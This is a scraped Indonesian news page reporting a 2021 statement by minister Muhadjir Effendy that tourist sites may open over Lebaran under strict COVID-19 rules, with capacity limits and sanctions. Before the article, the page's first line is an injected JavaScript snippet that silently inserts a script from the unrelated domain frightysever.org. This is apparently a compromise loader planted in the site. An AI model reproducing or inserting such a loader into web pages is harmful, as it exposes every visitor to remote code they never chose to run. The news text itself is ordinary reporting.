(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Menteri Koordinator bidang Pembangunan Manusia dan Kebudayaan (Menko PMK) Muhadjir Effendy mengatakan pembukaan tempat wisata di masa Lebaran harus dengan protokol kesehatan Covid-19 yang ketat. Kalau ada yang melanggar, pemerintah tidak segan untuk memberikan sanksi kepada pemilik tempat wisata.
“Misalnya maksimum 50 persen kapasitas pengunjung, kemudian peraturan disiplin protokol kesehatan harus diperketat. Sanksi untuk mereka yang tidak memiliki standar operasional itu harus ditegakkan,” kata Muhadjir dalam diskusi bertajuk Untung Rugi Mudik di Tengah Pandemi yang disiarkan langsung melalui YouTube BPKM RI, Selasa (20/4/2021).
Ia tidak menampik dengan adanya pro dan kontra perihal tempat wisata yang boleh dibuka namun masyarakat dilarang untuk mudik.
Baca juga : Kena Razia, Anes Baru 5 Bulan di Banjarmasin, Tak Tahu Ada Perda Ramadhan
Muhadjir menjelaskan, saat ini pemerintah menerapkan pembatasan sosial skala mikro yang tidak seketat PSBB.
Karena itu, tempat wisata tersebut dibuka oleh pemerintah untuk menjadi destinasi liburan masyarakat di daerahnya masing-masing. Selain itu, pemerintah juga berupaya untuk tetap menyeimbangkan antara kondisi perekonomian dan penanganan Covid-19.
Baca juga : PPKM Mikro Banjarmasin Diperpanjang, Ini Sanksi untuk Warga yang ‘Bandel’
“Jadi kita cari titik optimumnya, optimum pareto. Jadi jangan sampai ketika salah satunya baik tapi kebaikannya menggerus yang lain,” ujarnya.
“Dengan demikian kita harapkan nadi ekonomi akan terus berdenyut. Pergerakan arus barang jasa dan daya beli dan daya konsumsi masyarakat kita harapkan masih akan tumbuh di masa lebaran itu. Karena itu wisata lokal masih diperbolehkan.”(Suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.